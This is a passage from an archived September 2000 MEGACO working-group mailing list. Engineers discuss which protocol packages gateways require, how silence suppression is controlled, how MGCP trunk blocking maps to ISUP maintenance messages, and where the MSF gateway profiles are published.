Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: packages
X-To:         Isabelle.Cnudde@IND.ALCATEL.COM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The functions needed in any gateway are a complex set of interdependencies.
As a simple example, some residential gateways will have DTMF detect,
and call progress generate, while others won't.  When you have an MG
that doesn't, you need another MG (a tones and announcements generator,
possibly co-existing with a dial "register" DTMF detector) somewhere in
the network.

These kinds of decisions are defined in profiles.  If you look at the
MSF profiles (see www.msforum.org) (sorry, I'm off line right now
and can't cite the actual URL to the profile), you will see lists like
these for a particular type of gateway, with a particular set of assumptions
on network elements, underlying network infrastructure, etc.

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Wednesday, September 27, 2000 6:55 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: packages
>
>
> Looks reasonable to me, except that you probably need the TDM
> package in the
> access gateway too.
>
> > -----Original Message-----
> > From: Isabelle Cnudde [mailto:Isabelle.Cnudde@IND.ALCATEL.COM]
> > Sent: Friday, September 15, 2000 6:30 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: packages
> >
> >
> > Hi ,
> >
> > MEGACO defines several packages.
> > Could one tell me which ones are required in a trunking gateway and
> > which ones are required in an access gateway?
> >
> > What do you think of the following split?
> >
> > Packages for trunking GW:
> >     . Generic package
> >     . Base Root package
> >     . Basic Continuity package
> >     . Network package
> >     . RTP package
> >     . TDM Circuit package
> >
> > Packages for access GW:
> >     . Generic package
> >     . Base Root package
> >     . Basic Continuity package
> >     . Network package
> >     . RTP package
> >     . Tone Detection
> >     . Tone Generator
> >     . Basic DTMF Detector
> >     . Basic DTMF Generation
> >     . Call Progress Tones Generator
> >     . Call Progress Tones Detection
> >     . Analog Line Supervision
> >
> > Thanks for sharing your ideas/comments,
> > Isabelle
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 11:52:55 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24406
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 11:52:54 -0400 (EDT)
Received: from standards (47.234.32.16:2837) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99C1B@standards.nortelnetworks.com>; Thu, 28 Sep 2000 11:36:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4476 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 11:36:41 -0400
Received: from ns01.newbridge.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB99C18@standards.nortelnetworks.com>; Thu, 28 Sep 2000 11:26:40
          -0400
Received: (from smtpd@localhost) by ns01.newbridge.com (8.9.2/8.9.2) id
          LAA16089; Thu, 28 Sep 2000 11:32:41 -0400 (EDT)
Received: from portal1.newbridge.com(192.75.23.76),
          claiming to be "kanata-mh1.ca.newbridge.com" via SMTP by
          ns01.newbridge.com, id smtpdAAA0QiHO_; Thu Sep 28 11:32:37 2000
Received: from convedia.com by kanata-mh1.ca.newbridge.com with ESMTP; Thu, 28
          Sep 2000 11:39:19 -0400
Received: from convedia.com (falcon [192.168.208.150]) by atlas.convedia.com
          (8.9.3+Sun/8.9.3) with ESMTP id IAA09759; Thu, 28 Sep 2000 08:39:56
          -0700 (PDT)
X-Mailer: Mozilla 4.74 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF01707331@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: multipart/alternative;
              boundary="------------257DF51A2C121FDF3F09AAEC"
Message-ID:  <39D36648.92503279@convedia.com>
Date:         Thu, 28 Sep 2000 08:39:52 -0700
Reply-To: Garland Sharratt <gsharratt@CONVEDIA.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Garland Sharratt <gsharratt@CONVEDIA.COM>
Organization: Convedia Corporation
Subject:      Re: packages
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------257DF51A2C121FDF3F09AAEC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Rosen, Brian" wrote:

> The functions needed in any gateway are a complex set of interdependencies.
> As a simple example, some residential gateways will have DTMF detect, and call
> progress generate, while others won't.  When you have an MG that doesn't, you
> need another MG (a tones and announcements generator, possibly co-existing
> with a dial "register" DTMF detector) somewhere in the network.

In other words, a Media Server.

> [...]
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Wednesday, September 27, 2000 6:55 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: packages
> >
> >
> > Looks reasonable to me, except that you probably need the TDM
> > package in the access gateway too.
> >
> > [...]

--------------257DF51A2C121FDF3F09AAEC
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
"Rosen, Brian" wrote:
<blockquote TYPE=CITE>The functions needed in any gateway are a complex
set of interdependencies.&nbsp; As a simple example, some residential gateways
will have DTMF detect, and call progress generate, while others won't.&nbsp;
When you have an MG that doesn't, you need <b>another MG</b> (a tones and
announcements generator, possibly co-existing with a dial "register" DTMF
detector) somewhere in the network.</blockquote>
In other words, a Media Server.
<blockquote TYPE=CITE>[...]
<p>Brian
<p>> -----Original Message-----
<br>> From: Tom-PT Taylor [<a href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</a>]
<br>> Sent: Wednesday, September 27, 2000 6:55 PM
<br>> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
<br>> Subject: Re: packages
<br>>
<br>>
<br>> Looks reasonable to me, except that you probably need the TDM
<br>> package in the access gateway too.
<br>>
<br>> [...]</blockquote>
</html>

--------------257DF51A2C121FDF3F09AAEC--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 12:27:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25550
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 12:27:19 -0400 (EDT)
Received: from standards (47.234.32.16:2837) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99C53@standards.nortelnetworks.com>; Thu, 28 Sep 2000 12:11:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4551 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 12:11:15 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB99C52@standards.nortelnetworks.com>; Thu, 28 Sep 2000
          12:11:15 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <TK5BN4J1>;
          Thu, 28 Sep 2000 19:24:25 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB2071005@MAIL-IN>
Date:         Thu, 28 Sep 2000 19:24:24 +0200
Reply-To: Oren Kudovitzky <orenku@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Oren Kudovitzky <orenku@AUDIOCODES.COM>
Subject:      Re: Silence suppression
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I believe that silence suppression is on the RTP side.
There are number of coders that are silence suppression enabled, but for the
encoding side this feature must be specified, since silence suppression in
G.723 and G.729 is optional. Althogh silence suppression need not be
signaled on the decoder side, the encoder side should have an On/Off
parameter, set by the Call Agent .
I do not understand from the answer below,  how one can set the silence
suppression mode of the coder under MEGACO.

Oren


> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Wednesday, September 27, 2000 8:54 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Silence suppression
>
>
> Is silence suppression really something that happens on the
> TDM side?  On
> the RTP side, it is taken care of by the payload type
> specification -- see
> draft-ietf-avt-profile-new-08.txt                    section 4.1
> (Encoding-Independent Rules) and section 4.5.4 (G.723) re SID
> frames.  Also
> note the use of Voice Activity Detection with G.729 in
> section 4.5.7.  The
> view there seems to be that silence suppression doesn't have to be
> signalled.
>
> > -----Original Message-----
> > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > Sent: Tuesday, September 26, 2000 10:46 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Silence suppression
> >
> >
> > Tom
> >
> > I found the draft. But silence suppression is not an ATM
> > specific property,
> > and I don't see why I have to adopt an ATM draft if I don't
> > use it. I still
> > think that it should have been a LocalControl property, just
> > like the echo
> > cancellation and gain control, which means it should be in
> > the tdmc package.
> >
> > Nurit
> >
> > -----Original Message-----
> > From: Jepsen, Tom [mailto:tom.jepsen@fnc.fujitsu.com]
> > Sent: Monday, September 25, 2000 4:42 PM
> > To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: RE: Silence suppression
> >
> >
> > Nurit,
> >
> > ATM extensions for SDP are not in RFC2327, but are in an
> > Internet Draft
> > which can be found at
> > <http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-
> > atm-00.txt>.
> > You will find a description of the silence suppression parameter
> > (silenceSupp) in section 5.6, Media Attribute Lines.
> >
> > Hope this helps,
> >
> > Tom Jepsen
> > Fujitsu Network Communications
> > 1000 St. Albans Drive
> > Raleigh, NC 27609 USA
> > (919)790-3439
> >
> > > -----Original Message-----
> > > From: Nurit Shenhar [SMTP:nurit.shenhar@AUDIOCODES.COM]
> > > Sent: Monday, September 25, 2000 11:03 AM
> > > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject:      Re: Silence suppression
> > >
> > > Hi Brian
> > >
> > > You are right about Annex C, but I read the SDP document
> > (RFC2327) again
> > > and
> > > again and didn't find anything about it. (I found there
> > other parameters I
> > > need, like Bandwidth).
> > >
> > > I understood that Annex C is for the binary coding only, as
> > it states at
> > > the
> > > opening senstence:
> > >
> > >    "Parameters for Local descriptors and Remote descriptors
> > are specified
> > >     as tag-value pairs if binary encoding is used for the
> protocol."
> > >
> > >  If it should also be used for the ABNF, it will be quite
> > difficult for
> > > the
> > > parser to be ready to accept both SDP and Annex C.
> > >
> > > Nurit
> > >
> > >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > > Sent: Monday, September 25, 2000 3:47 PM
> > > To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: RE: Silence suppression
> > >
> > >
> > > I was hoping one of our more "bell-head" members would
> answer this.
> > >
> > > I believe that the capability exists in both SDP and Annex C,
> > > and that is where you control it.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > > > Sent: Monday, September 25, 2000 10:42 AM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: FW: Silence suppression
> > > >
> > > >
> > > > Hi
> > > >
> > > > I Didn't get any answer for the silence suppression, so I
> > > > send it again.
> > > > Does anybody got an answer for that?
> > > >
> > > > Nurit
> > > >
> > > > >  -----Original Message-----
> > > > > From:         Nurit Shenhar
> > > > > Sent: Thursday, September 21, 2000 3:56 PM
> > > > > To:   MEGACO (E-mail)
> > > > > Subject:      Silence suppression
> > > > >
> > > > > Hi list
> > > > >
> > > > > I think that there should be a silence suppression property
> > > > in the tdmc
> > > > > package. If not, where do I get this parameter?
> > > > >
> > > > > Best regards
> > > > >
> > > > > Nurit Shenhar
> > > > > AudioCodes Ltd.
> > > > > Direct: +972-3-539-4155
> > > > > Tel:     +972-3-539-4000
> > > > > Fax:    +972-3-539-4040
> > > > > email:  nurit.shenhar@audiocodes.com
> > > > >
> > > > > web:    <http://www.audiocodes.com>
> > > > >
> > > > >
> > > >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 13:03:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26503
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 13:03:15 -0400 (EDT)
Received: from standards (47.234.32.16:1148) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99CA2@standards.nortelnetworks.com>; Thu, 28 Sep 2000 12:47:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4630 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 12:47:14 -0400
Received: from motgate2.mot.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB99C90@standards.nortelnetworks.com>; Thu, 28 Sep 2000 12:37:14
          -0400
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by
          motgate2.mot.com (motgate2 2.1) with ESMTP id JAA22504 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 28 Sep 2000 09:51:23
          -0700 (MST)]
Received: [from az33exb01.corp.mot.com (az33exb01.corp.mot.com [199.2.84.12])
          by mothost.mot.com (MOT-mothost 2.0) with ESMTP id JAA14321 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 28 Sep 2000 09:51:23
          -0700 (MST)]
Received: by az33exb01.corp.mot.com with Internet Mail Service (5.5.2650.21) id
          <TTXWR3PH>; Thu, 28 Sep 2000 09:51:22 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0296C.54859020"
Message-ID:  <87568F78ABDCD211A0AC0008C707718B03AA513D@az10exm03.sat.mot.com>
Date:         Thu, 28 Sep 2000 09:51:21 -0700
Reply-To: Phelps Pat-P27415 <Pat.Phelps@MOTOROLA.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Phelps Pat-P27415 <Pat.Phelps@MOTOROLA.COM>
Subject:      ISUP Maintenance Messages - MGCP
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0296C.54859020
Content-Type: text/plain;
        charset="iso-8859-1"

First of all is this the appropriate group to ask these questions in? If not
please forgive me and suggest an appropriate group.

In the MGCP trunk package I see a blocking signal; just exactly what verb
would be used to send the blocking signal?

If the blocking signal "bl (+)" corresponds to the ISUP BLO message than
what signal would correspond to the rest of the maintenance messages such
as:
    RSC - reset circuit
    GRS - group reset

Would group blocking be accomplished by simply specifying endpoints in a
given message?

Pat

------_=_NextPart_001_01C0296C.54859020
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3103.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial size=2><SPAN class=632121722-27092000>First of all is this
the appropriate group to ask these questions in? If not please forgive me and
suggest an appropriate group.</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN
class=632121722-27092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2><SPAN class=632121722-27092000>In the MGCP trunk
package I see a blocking signal; just exactly what verb would be used to send
the blocking signal?</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN
class=632121722-27092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2><SPAN class=632121722-27092000>If the blocking
signal "bl (+)" corresponds to the ISUP BLO message than what signal would
correspond to the rest of the maintenance messages such as:</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN class=632121722-27092000>&nbsp;&nbsp;&nbsp;
RSC - reset circuit</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN
class=632121722-27092000>&nbsp;&nbsp;&nbsp;&nbsp;GRS - group
reset</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN
class=632121722-27092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2><SPAN class=632121722-27092000>Would group blocking
be accomplished by simply specifying endpoints in a given
message?</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN
class=632121722-27092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2><SPAN
class=632121722-27092000>Pat</SPAN></FONT></DIV></BODY></HTML>

------_=_NextPart_001_01C0296C.54859020--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 17:38:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03230
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 17:38:23 -0400 (EDT)
Received: from standards (47.234.32.16:2934) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99EFE@standards.nortelnetworks.com>; Thu, 28 Sep 2000 17:22:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5370 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 17:22:32 -0400
Received: from dgesmtp01.wcom.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB99ED5@standards.nortelnetworks.com>; Thu, 28 Sep 2000 17:12:30
          -0400
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42260) id
          <0G1M00G018V982@firewall.mcit.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 21:25:57 +0000
          (GMT)
Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com
          (PMDF V5.2-33 #42260) with ESMTP id
          <0G1M00F628V5FK@firewall.mcit.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 21:25:57 +0000
          (GMT)
Received: from CONVERSION-DAEMON by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258)
          id <0G1M00N018HJ2K@pmismtp04.wcomnet.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 21:17:44 +0000
          (GMT)
Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33
          #42258) with SMTP id <0G1M00N018HI2G@pmismtp04.wcomnet.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 21:17:43 +0000
          (GMT)
Received: from ripb1586 ([166.44.247.150]) by pmismtp04.wcomnet.com (PMDF
          V5.2-33 #42258) with SMTP id <0G1M00KLC8H2A0@pmismtp04.wcomnet.com>
          for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 21:17:28
          +0000 (GMT)
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Message-ID:  <002201c02992$16ca61e0$f774fea9@ripb1586>
Date:         Thu, 28 Sep 2000 16:21:38 -0500
Reply-To: Carol.Waller@wcom.com
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Carol Waller <Carol.Waller@wcom.com>
Subject:      Re: packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF01707331@whq-msgusr-02.pit.comms.marconi.com>
Content-Transfer-Encoding: 7bit

The MSF URLs that Brian was looking for are:

Access Gateway/Controller:
http://www.msforum.org/MSF-MEDIA-001.00-DRAFT_IA.doc
Trunking Gateway/Controller:
http://www.msforum.org/MSF-MEDIA-002.00-DRAFT_IA.doc

These are early draft versions (and there are still several holes in them);
in most places where there is still questions or controversy, we've tried to
capture it in a comment.


Carol Waller
Advisory Engineer
Next Generation Control, WorldCom
972-729-1586
pager: 888-268-0257

>-----Original Message-----
>From: Media Gateway Control (megaco)
>[mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Rosen, Brian
>Sent: Thursday, September 28, 2000 9:39 AM
>To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>Subject: Re: packages
>
>
>The functions needed in any gateway are a complex set of
>interdependencies.
>As a simple example, some residential gateways will have DTMF detect,
>and call progress generate, while others won't.  When you have an MG
>that doesn't, you need another MG (a tones and announcements generator,
>possibly co-existing with a dial "register" DTMF detector) somewhere in
>the network.
>
>These kinds of decisions are defined in profiles.  If you look at the
>MSF profiles (see www.msforum.org) (sorry, I'm off line right now
>and can't cite the actual URL to the profile), you will see lists like
>these for a particular type of gateway, with a particular set
>of assumptions
>on network elements, underlying network infrastructure, etc.
>
>Brian
>
>> -----Original Message-----
>> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
>> Sent: Wednesday, September 27, 2000 6:55 PM
>> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> Subject: Re: packages
>>
>>
>> Looks reasonable to me, except that you probably need the TDM
>> package in the
>> access gateway too.
>>
>> > -----Original Message-----
>> > From: Isabelle Cnudde [mailto:Isabelle.Cnudde@IND.ALCATEL.COM]
>> > Sent: Friday, September 15, 2000 6:30 PM
>> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > Subject: packages
>> >
>> >
>> > Hi ,
>> >
>> > MEGACO defines several packages.
>> > Could one tell me which ones are required in a trunking gateway and
>> > which ones are required in an access gateway?
>> >
>> > What do you think of the following split?
>> >
>> > Packages for trunking GW:
>> >     . Generic package
>> >     . Base Root package
>> >     . Basic Continuity package
>> >     . Network package
>> >     . RTP package
>> >     . TDM Circuit package
>> >
>> > Packages for access GW:
>> >     . Generic package
>> >     . Base Root package
>> >     . Basic Continuity package
>> >     . Network package
>> >     . RTP package
>> >     . Tone Detection
>> >     . Tone Generator
>> >     . Basic DTMF Detector
>> >     . Basic DTMF Generation
>> >     . Call Progress Tones Generator
>> >     . Call Progress Tones Detection
>> >     . Analog Line Supervision
>> >
>> > Thanks for sharing your ideas/comments,
>> > Isabelle
>> >
>>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 17:50:50 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03493
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 17:50:49 -0400 (EDT)
Received: from standards (47.234.32.16:2934) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99F1E@standards.nortelnetworks.com>; Thu, 28 Sep 2000 17:35:20 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5463 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 17:35:20 -0400
Received: from imo-d09.mx.aol.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB99F16@standards.nortelnetworks.com>; Thu, 28 Sep 2000 17:25:19
          -0400
Received: from Clwaller@aol.com by imo-d09.mx.aol.com (mail_out_v28.15.) id
          7.12.2dc4946 (16787) for <MEGACO@standards.nortelnetworks.com>; Thu,
          28 Sep 2000 17:38:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: AOL 5.0 for Windows sub 106
Message-ID:  <12.2dc4946.27051469@aol.com>
Date:         Thu, 28 Sep 2000 17:38:49 EDT
Reply-To: Clwaller@AOL.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Carol Waller <Clwaller@AOL.COM>
Subject:      Re: packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

The MSF profiles that Brian is talking about are at these URLs:

Access Gateway/Controller:
http://www.msforum.org/MSF-MEDIA-001.00-DRAFT_IA.doc
Trunking Gateway/Controller:
http://www.msforum.org/MSF-MEDIA-002.00-DRAFT_IA.doc

Carol Waller
Advisory Engineer
Next Generation Control, WorldCom
972-729-1586
pager: 888-268-0257

>-----Original Message-----
>From: Media Gateway Control (megaco)
>[mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Rosen, Brian
>Sent: Thursday, September 28, 2000 9:39 AM
>To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>Subject: Re: packages
>
>
>The functions needed in any gateway are a complex set of
>interdependencies.
>As a simple example, some residential gateways will have DTMF detect,
>and call progress generate, while others won't.  When you have an MG
>that doesn't, you need another MG (a tones and announcements generator,
>possibly co-existing with a dial "register" DTMF detector) somewhere in
>the network.
>
>These kinds of decisions are defined in profiles.  If you look at the
>MSF profiles (see www.msforum.org) (sorry, I'm off line right now
>and can't cite the actual URL to the profile), you will see lists like
>these for a particular type of gateway, with a particular set
>of assumptions
>on network elements, underlying network infrastructure, etc.
>
>Brian
>
>> -----Original Message-----
>> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
>> Sent: Wednesday, September 27, 2000 6:55 PM
>> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> Subject: Re: packages
>>
>>
>> Looks reasonable to me, except that you probably need the TDM
>> package in the
>> access gateway too.
>>
>> > -----Original Message-----
>> > From: Isabelle Cnudde [mailto:Isabelle.Cnudde@IND.ALCATEL.COM]
>> > Sent: Friday, September 15, 2000 6:30 PM
>> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > Subject: packages
>> >
>> >
>> > Hi ,
>> >
>> > MEGACO defines several packages.
>> > Could one tell me which ones are required in a trunking gateway and
>> > which ones are required in an access gateway?
>> >
>> > What do you think of the following split?
>> >
>> > Packages for trunking GW:
>> >     . Generic package
>> >     . Base Root package
>> >     . Basic Continuity package
>> >     . Network package
>> >     . RTP package
>> >     . TDM Circuit package
>> >
>> > Packages for access GW:
>> >     . Generic package
>> >     . Base Root package
>> >     . Basic Continuity package
>> >     . Network package
>> >     . RTP package
>> >     . Tone Detection
>> >     . Tone Generator
>> >     . Basic DTMF Detector
>> >     . Basic DTMF Generation
>> >     . Call Progress Tones Generator
>> >     . Call Progress Tones Detection
>> >     . Analog Line Supervision
>> >
>> > Thanks for sharing your ideas/comments,
>> > Isabelle
>> >
>>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 18:54:27 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04434
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 18:54:26 -0400 (EDT)
Received: from standards (47.234.32.16:2146) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99FCF@standards.nortelnetworks.com>; Thu, 28 Sep 2000 18:38:52 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5699 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 18:38:52 -0400
Received: from everest.vxtel.com (host-71.vxtel.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB99FCE@standards.nortelnetworks.com>; Thu, 28 Sep 2000
          18:38:51 -0400
Received: by everest with Internet Mail Service (5.5.2650.21) id <TL3SBBK3>;
          Thu, 28 Sep 2000 15:53:01 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <ECE67AE37546D411A60400A0C9B709B108A310@everest>
Date:         Thu, 28 Sep 2000 15:52:58 -0700
Reply-To: Darin Herle <darin@VXTEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Darin Herle <darin@VXTEL.COM>
Subject:      ATM Call Setup Example.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I have a pair of questions related to ATM.

1.      Is there a published Megaco/ATM call setup example available?

2.      Where can I find the RTP/ATM profile - I understand its in the
